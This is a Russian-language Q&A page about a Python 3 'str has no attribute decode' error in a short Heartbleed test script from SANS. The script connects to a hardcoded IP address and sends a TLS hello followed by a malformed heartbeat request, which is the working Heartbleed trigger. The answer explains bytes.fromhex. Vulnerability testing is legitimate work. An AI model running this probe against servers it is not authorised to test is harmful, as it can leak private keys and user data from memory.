Ошибка декодирования с помощью python scirpt - PullRequest
1 голос
/ 04 ноября 2019

Я искал hertbleed ssl-уязвимость в сети и придумал простой онлайн-код от Sans:

import socket
sh=socket.socket()
sh.connect(("54.217.122.251",443))
sh.send("16030200310100002d0302500bafbbb75ab83ef0ab9ae3f39c6315334137acfd6c181a2460dc4967c2fd960000040033c01101000000".decode('hex'))
helloresponse=sh.recv(8196)
sh.send("1803020003014000".decode('hex'))
data=sh.recv(8196)

Этот код просто отправляет сообщение Hello в декодированном формате с использованием python decode на сервер SSL, чтобы найтиесли сервер уязвим к уязвимости Heartbleed. Но когда я запускаю этот код в python 3.7, он показывает ошибку следующим образом:

sh.send("16030200310100002d0302500bafbbb75ab83ef0ab9ae3f39c6315334137acfd6c181a2460dc4967c2fd960000040033c01101000000".decode('hex'))

AttributeError: 'str' object has no attribute 'decode'

ПРИМЕЧАНИЕ. Попробуйте использовать другой IP-адрес, а не тот, который используется в этом

1 Ответ

1 голос
/ 04 ноября 2019

Декодирование str значений из шестнадцатеричного кода в Python 2:

>>> "1803020003014000".decode('hex')
'\x18\x03\x02\x00\x03\x01@\x00'

В Python 3 вы хотите использовать bytes.fromhex :

>>> bytes.fromhex("1803020003014000")
b'\x18\x03\x02\x00\x03\x01@\x00'
...